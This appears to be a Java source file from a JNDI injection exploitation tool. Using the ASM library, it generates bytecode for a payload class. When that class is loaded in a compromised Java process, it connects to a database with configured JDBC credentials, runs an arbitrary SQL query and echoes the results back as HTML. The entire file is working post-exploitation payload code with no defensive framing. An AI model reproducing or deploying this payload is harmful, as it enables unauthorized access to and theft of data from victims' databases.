165
https://raw.githubusercontent.com/JosephTribbianni/JNDI/master/src/main/java/org/su18/asm/payload/SQLQuery.java
package org.su18.asm.payload;

import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.su18.utils.StringUtil;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;

public class SQLQuery implements Opcodes {

	public static void insert(String className, MethodVisitor mv) {
		Label label0 = new Label();
		Label label1 = new Label();
		Label label2 = new Label();
		mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
		Label label3 = new Label();
		mv.visitLabel(label3);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
		mv.visitLabel(label0);
		mv.visitLdcInsn(StringUtil.getCurrentPropertiesValue("jdbc.driver"));
		mv.visitVarInsn(ASTORE, 1);
		Label label4 = new Label();
		mv.visitLabel(label4);
		mv.visitLdcInsn(StringUtil.getCurrentPropertiesValue("jdbc.url"));
		mv.visitVarInsn(ASTORE, 2);
		Label label5 = new Label();
		mv.visitLabel(label5);
		mv.visitLdcInsn(StringUtil.getCurrentPropertiesValue("jdbc.username"));
		mv.visitVarInsn(ASTORE, 3);
		Label label6 = new Label();
		mv.visitLabel(label6);
		mv.visitLdcInsn(StringUtil.getCurrentPropertiesValue("jdbc.password"));
		mv.visitVarInsn(ASTORE, 4);
		Label label7 = new Label();
		mv.visitLabel(label7);
		mv.visitLdcInsn(StringUtil.getCurrentPropertiesValue("jdbc.query"));
		mv.visitVarInsn(ASTORE, 5);
		Label label8 = new Label();
		mv.visitLabel(label8);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitInsn(POP);
		Label label9 = new Label();
		mv.visitLabel(label9);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitMethodInsn(INVOKESTATIC, "java/sql/DriverManager", "getConnection", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/sql/Connection;", false);
		mv.visitVarInsn(ASTORE, 6);
		Label label10 = new Label();
		mv.visitLabel(label10);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitMethodInsn(INVOKEINTERFACE, "java/sql/Connection", "prepareStatement", "(Ljava/lang/String;)Ljava/sql/PreparedStatement;", true);
		mv.visitVarInsn(ASTORE, 7);
		Label label11 = new Label();
		mv.visitLabel(label11);
		mv.visitVarInsn(ALOAD, 7);
		mv.visitMethodInsn(INVOKEINTERFACE, "java/sql/PreparedStatement", "executeQuery", "()Ljava/sql/ResultSet;", true);
		mv.visitVarInsn(ASTORE, 8);
		Label label12 = new Label();
		mv.visitLabel(label12);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitLdcInsn("");
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		Label label13 = new Label();
		mv.visitLabel(label13);
		mv.visitFrame(Opcodes.F_FULL, 9, new Object[]{className, "java/lang/String", "java/lang/String", "java/lang/String", "java/lang/String", "java/lang/String", "java/sql/Connection", "java/sql/PreparedStatement", "java/sql/ResultSet"}, 0, new Object[]{});
		mv.visitVarInsn(ALOAD, 8);
		mv.visitMethodInsn(INVOKEINTERFACE, "java/sql/ResultSet", "next", "()Z", true);
		Label label14 = new Label();
		mv.visitJumpInsn(IFEQ, label14);
		Label label15 = new Label();
		mv.visitLabel(label15);
		mv.visitTypeInsn(NEW, "java/lang/StringBuilder");
		mv.visitInsn(DUP);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitInsn(DUP_X1);
		mv.visitFieldInsn(GETFIELD, className, "result", "Ljava/lang/String;");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitLdcInsn("<font color='red'>");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitVarInsn(ALOAD, 8);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEINTERFACE, "java/sql/ResultSet", "getObject", "(I)Ljava/lang/Object;", true);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/Object;)Ljava/lang/StringBuilder;", false);
		mv.visitLdcInsn("</font>");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		mv.visitJumpInsn(GOTO, label13);
		mv.visitLabel(label14);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitVarInsn(ALOAD, 8);
		mv.visitMethodInsn(INVOKEINTERFACE, "java/sql/ResultSet", "close", "()V", true);
		Label label16 = new Label();
		mv.visitLabel(label16);
		mv.visitVarInsn(ALOAD, 7);
		mv.visitMethodInsn(INVOKEINTERFACE, "java/sql/PreparedStatement", "close", "()V", true);
		Label label17 = new Label();
		mv.visitLabel(label17);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitMethodInsn(INVOKEINTERFACE, "java/sql/Connection", "close", "()V", true);
		mv.visitLabel(label1);
		Label label18 = new Label();
		mv.visitJumpInsn(GOTO, label18);
		mv.visitLabel(label2);
		mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 1, new Object[]{"java/lang/Exception"});
		mv.visitVarInsn(ASTORE, 1);
		Label label19 = new Label();
		mv.visitLabel(label19);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitLdcInsn("\u6267\u884c SQL \u8bed\u53e5\u9519\u8bef");
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		mv.visitLabel(label18);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKEVIRTUAL, className, "echo", "()V", false);
		Label label20 = new Label();
		mv.visitLabel(label20);
		mv.visitInsn(RETURN);
		Label label21 = new Label();
		mv.visitLabel(label21);
		mv.visitLocalVariable("driver", "Ljava/lang/String;", null, label4, label1, 1);
		mv.visitLocalVariable("url", "Ljava/lang/String;", null, label5, label1, 2);
		mv.visitLocalVariable("username", "Ljava/lang/String;", null, label6, label1, 3);
		mv.visitLocalVariable("password", "Ljava/lang/String;", null, label7, label1, 4);
		mv.visitLocalVariable("sql", "Ljava/lang/String;", null, label8, label1, 5);
		mv.visitLocalVariable("connection", "Ljava/sql/Connection;", null, label10, label1, 6);
		mv.visitLocalVariable("pstt", "Ljava/sql/PreparedStatement;", null, label11, label1, 7);
		mv.visitLocalVariable("rs", "Ljava/sql/ResultSet;", null, label12, label1, 8);
		mv.visitLocalVariable("ignored", "Ljava/lang/Exception;", null, label19, label18, 1);
		mv.visitLocalVariable("this", "L" + className + ";", null, label3, label21, 0);


	}

}
